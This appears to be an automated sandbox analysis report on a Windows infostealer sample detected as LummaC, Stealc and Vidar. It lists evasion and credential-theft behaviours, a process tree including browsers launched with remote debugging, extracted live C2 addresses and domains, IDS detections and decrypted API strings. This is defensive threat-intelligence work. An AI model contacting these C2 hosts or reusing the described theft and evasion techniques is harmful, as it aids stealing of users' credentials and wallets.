Edit tour

Windows Analysis Report
ByVoN4bhSU.exe

Overview

General Information

Sample name:	ByVoN4bhSU.exe renamed because original name is a hash value
Original sample name:	27804d55f185edb91ed8ec5c15066fe5.exe
Analysis ID:	1549090
MD5:	27804d55f185edb91ed8ec5c15066fe5
SHA1:	6b5339943f113562612b929604f850ccdfa2681a
SHA256:	26309ceffdfb8ef91a3d435a569841ed8532f855557aeee54620a54e2c2dceca
Tags:	32exe
Infos:

Detection

LummaC, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Drops PE files to the document folder of the user

Drops PE files to the user root directory

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for sample

Monitors registry run keys for changes

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

AV process strings found (often used to terminate AV products)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to dynamically determine API calls

Contains functionality to shutdown / reboot the system

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the user directory

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain checking for process token information

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

PE file does not import any functions

PE file overlay found

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Sigma detected: Browser Started with Remote Debugging

Sigma detected: Wow6432Node CurrentVersion Autorun Keys Modification

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

ByVoN4bhSU.exe (PID: 6456 cmdline: "C:\Users\user\Desktop\ByVoN4bhSU.exe" MD5: 27804D55F185EDB91ED8EC5C15066FE5)

j1C74.exe (PID: 6460 cmdline: C:\Users\user\AppData\Local\Temp\IXP000.TMP\j1C74.exe MD5: BE4CD825680F7E4844F9A8C61F7CECBF)

2h6379.exe (PID: 5700 cmdline: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe MD5: 781C92234AD3FA7FAFDA08C434D9A50E)

chrome.exe (PID: 5628 cmdline: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 4140 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2520 --field-trial-handle=2300,i,14261767560341918354,1830996758735079065,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

msedge.exe (PID: 7916 cmdline: "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8144 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2684 --field-trial-handle=2540,i,14784142344617253117,468095031586631057,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

cmd.exe (PID: 8816 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsAFCFHDHIII.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 8876 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

3S96n.exe (PID: 8096 cmdline: C:\Users\user\AppData\Local\Temp\IXP001.TMP\3S96n.exe MD5: 7E2272452770FCE26BAAAF4FCA490EDF)

rundll32.exe (PID: 5644 cmdline: "C:\Windows\system32\rundll32.exe" C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user\AppData\Local\Temp\IXP000.TMP\" MD5: EF3179D498793BF4234F708D3BE28633)

rundll32.exe (PID: 3144 cmdline: "C:\Windows\system32\rundll32.exe" C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user\AppData\Local\Temp\IXP001.TMP\" MD5: EF3179D498793BF4234F708D3BE28633)

msedge.exe (PID: 8128 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7512 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2296 --field-trial-handle=2116,i,2418828166880816083,3017144160648805089,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8344 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6996 --field-trial-handle=2116,i,2418828166880816083,3017144160648805089,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8380 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7176 --field-trial-handle=2116,i,2418828166880816083,3017144160648805089,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 9100 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=5256 --field-trial-handle=2116,i,2418828166880816083,3017144160648805089,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Threatname: LummaC

{"C2 url": ["navygenerayk.store", "scriptyprefej.store", "founpiuer.store", "presticitpo.store", "thumbystriw.store", "necklacedmny.store", "crisiwarny.store", "fadehairucw.store"], "Build id": "4SD0y4--legendaryy"}

Threatname: Vidar

{"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000003.00000003.2076935503.0000000001580000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000003.2080146101.000000000157C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000003.2075716472.0000000001580000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000002.2802210012.0000000006911000.00000040.00000800.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001A.00000003.2810499954.0000000004A60000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001A.00000002.2851008315.0000000000551000.00000040.00000001.01000000.00000016.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000003.00000003.2257337140.0000000008E80000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000003.00000003.2108357637.000000000157D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000003.2092068807.0000000001589000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000003.2123407217.0000000001580000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000003.2107271812.0000000001577000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000002.2789765006.00000000014F7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000003.00000003.2123243213.0000000001580000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001A.00000002.2852271212.0000000000CF4000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 2h6379.exe PID: 5700	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: 2h6379.exe PID: 5700	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 2h6379.exe PID: 5700	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 2h6379.exe PID: 5700	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 2h6379.exe PID: 5700	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 3S96n.exe PID: 8096	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 3S96n.exe PID: 8096	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
decrypted.memstr	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 17 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
26.2.3S96n.exe.550000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
3.2.2h6379.exe.6910000.2.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe, ParentImage: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe, ParentProcessId: 5700, ParentProcessName: 2h6379.exe, ProcessCommandLine: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 5628, ProcessName: chrome.exe

Sigma detected: Wow6432Node CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: rundll32.exe C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user\AppData\Local\Temp\IXP000.TMP\", EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\ByVoN4bhSU.exe, ProcessId: 6456, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0

Suricata Signatures

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-05T10:13:15.340551+0100	2022930	1	A Network Trojan was detected	4.175.87.197	443	192.168.2.5	49713	TCP
2024-11-05T10:13:55.717732+0100	2022930	1	A Network Trojan was detected	4.175.87.197	443	192.168.2.5	50026	TCP

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-05T10:12:59.165818+0100	2028371	3	Unknown Traffic	192.168.2.5	49704	104.21.5.155	443	TCP
2024-11-05T10:13:00.062753+0100	2028371	3	Unknown Traffic	192.168.2.5	49705	104.21.5.155	443	TCP
2024-11-05T10:13:02.033880+0100	2028371	3	Unknown Traffic	192.168.2.5	49706	104.21.5.155	443	TCP
2024-11-05T10:13:03.276882+0100	2028371	3	Unknown Traffic	192.168.2.5	49707	104.21.5.155	443	TCP
2024-11-05T10:13:05.023397+0100	2028371	3	Unknown Traffic	192.168.2.5	49708	104.21.5.155	443	TCP
2024-11-05T10:13:06.613261+0100	2028371	3	Unknown Traffic	192.168.2.5	49709	104.21.5.155	443	TCP
2024-11-05T10:13:08.388942+0100	2028371	3	Unknown Traffic	192.168.2.5	49710	104.21.5.155	443	TCP
2024-11-05T10:13:11.643144+0100	2028371	3	Unknown Traffic	192.168.2.5	49711	104.21.5.155	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-05T10:12:59.349972+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49704	104.21.5.155	443	TCP
2024-11-05T10:13:00.793247+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49705	104.21.5.155	443	TCP
2024-11-05T10:13:12.139355+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49711	104.21.5.155	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-05T10:12:59.349972+0100	2049836	1	A Network Trojan was detected	192.168.2.5	49704	104.21.5.155	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-05T10:13:00.793247+0100	2049812	1	A Network Trojan was detected	192.168.2.5	49705	104.21.5.155	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (founpiuer .store in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-05T10:12:59.165818+0100	2057122	1	Domain Observed Used for C2 Detected	192.168.2.5	49704	104.21.5.155	443	TCP
2024-11-05T10:13:00.062753+0100	2057122	1	Domain Observed Used for C2 Detected	192.168.2.5	49705	104.21.5.155	443	TCP
2024-11-05T10:13:02.033880+0100	2057122	1	Domain Observed Used for C2 Detected	192.168.2.5	49706	104.21.5.155	443	TCP
2024-11-05T10:13:03.276882+0100	2057122	1	Domain Observed Used for C2 Detected	192.168.2.5	49707	104.21.5.155	443	TCP
2024-11-05T10:13:05.023397+0100	2057122	1	Domain Observed Used for C2 Detected	192.168.2.5	49708	104.21.5.155	443	TCP
2024-11-05T10:13:06.613261+0100	2057122	1	Domain Observed Used for C2 Detected	192.168.2.5	49709	104.21.5.155	443	TCP
2024-11-05T10:13:08.388942+0100	2057122	1	Domain Observed Used for C2 Detected	192.168.2.5	49710	104.21.5.155	443	TCP
2024-11-05T10:13:11.643144+0100	2057122	1	Domain Observed Used for C2 Detected	192.168.2.5	49711	104.21.5.155	443	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-05T10:12:58.353370+0100	2057129	1	Domain Observed Used for C2 Detected	192.168.2.5	63950	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-05T10:12:58.391748+0100	2057127	1	Domain Observed Used for C2 Detected	192.168.2.5	61527	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (founpiuer .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-05T10:12:58.488915+0100	2057121	1	Domain Observed Used for C2 Detected	192.168.2.5	50861	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-05T10:12:58.463921+0100	2057123	1	Domain Observed Used for C2 Detected	192.168.2.5	64007	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-05T10:12:57.869617+0100	2057131	1	Domain Observed Used for C2 Detected	192.168.2.5	65385	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-05T10:12:58.417918+0100	2057125	1	Domain Observed Used for C2 Detected	192.168.2.5	60880	1.1.1.1	53	UDP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-05T10:13:21.148757+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.5	49738	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-05T10:13:21.142837+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.5	49738	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-05T10:13:21.423716+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.5	49738	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-05T10:13:22.523008+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.5	49738	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-05T10:13:21.430495+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.5	49738	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-05T10:13:07.334269+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	49709	104.21.5.155	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-05T10:13:20.861801+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49738	185.215.113.206	80	TCP
2024-11-05T10:14:17.213387+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	50137	185.215.113.206	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-05T10:13:23.117289+0100	2803304	3	Unknown Traffic	192.168.2.5	49738	185.215.113.206	80	TCP
2024-11-05T10:13:49.900992+0100	2803304	3	Unknown Traffic	192.168.2.5	49934	185.215.113.206	80	TCP
2024-11-05T10:13:53.405291+0100	2803304	3	Unknown Traffic	192.168.2.5	49934	185.215.113.206	80	TCP
2024-11-05T10:13:55.519077+0100	2803304	3	Unknown Traffic	192.168.2.5	49934	185.215.113.206	80	TCP
2024-11-05T10:13:56.609420+0100	2803304	3	Unknown Traffic	192.168.2.5	49934	185.215.113.206	80	TCP
2024-11-05T10:13:58.797820+0100	2803304	3	Unknown Traffic	192.168.2.5	49934	185.215.113.206	80	TCP
2024-11-05T10:14:00.094381+0100	2803304	3	Unknown Traffic	192.168.2.5	50072	185.215.113.206	80	TCP
2024-11-05T10:14:08.550432+0100	2803304	3	Unknown Traffic	192.168.2.5	50130	185.215.113.16	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: ByVoN4bhSU.exe

Avira: detected

Antivirus detection for URL or domain

Source: https://founpiuer.store/apin	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/746f34465cf17784/mozglue.dllb	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/746f34465cf17784/sqlite3.dll:	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/HD	Avira URL Cloud: Label: phishing
Source: http://185.215.113.206/746f34465cf17784/freebl3.dllJ	Avira URL Cloud: Label: malware
Source: https://founpiuer.store/apii	Avira URL Cloud: Label: malware
Source: https://founpiuer.store/apiK	Avira URL Cloud: Label: malware
Source: https://founpiuer.store/apiH	Avira URL Cloud: Label: malware
Source: https://founpiuer.store/apis	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/6c4adf523b719729.php#L	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/746f34465cf17784/vcruntime140.dll3dCb	Avira URL Cloud: Label: malware

Found malware configuration

Source: 26.2.3S96n.exe.550000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}
Source: 26.2.3S96n.exe.550000.0.unpack	Malware Configuration Extractor: Vidar {"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}
Source: 2h6379.exe.5700.3.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["navygenerayk.store", "scriptyprefej.store", "founpiuer.store", "presticitpo.store", "thumbystriw.store", "necklacedmny.store", "crisiwarny.store", "fadehairucw.store"], "Build id": "4SD0y4--legendaryy"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\3S96n.exe	ReversingLabs: Detection: 42%

Multi AV Scanner detection for submitted file

Source: ByVoN4bhSU.exe

ReversingLabs: Detection: 39%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: ByVoN4bhSU.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: INSERT_KEY_HERE
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: 30
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: 11
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: 20
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: 24
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: GetProcAddress
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: LoadLibraryA
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: lstrcatA
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: OpenEventA
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: CreateEventA
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: CloseHandle
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: Sleep
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: GetUserDefaultLangID
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: VirtualAllocExNuma
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: VirtualFree
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: GetSystemInfo
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: VirtualAlloc
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: HeapAlloc
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: GetComputerNameA
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: lstrcpyA
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: GetProcessHeap
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: GetCurrentProcess
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: lstrlenA
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: ExitProcess
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: GlobalMemoryStatusEx
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: GetSystemTime
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: SystemTimeToFileTime
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: advapi32.dll
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: gdi32.dll
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: user32.dll
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: crypt32.dll
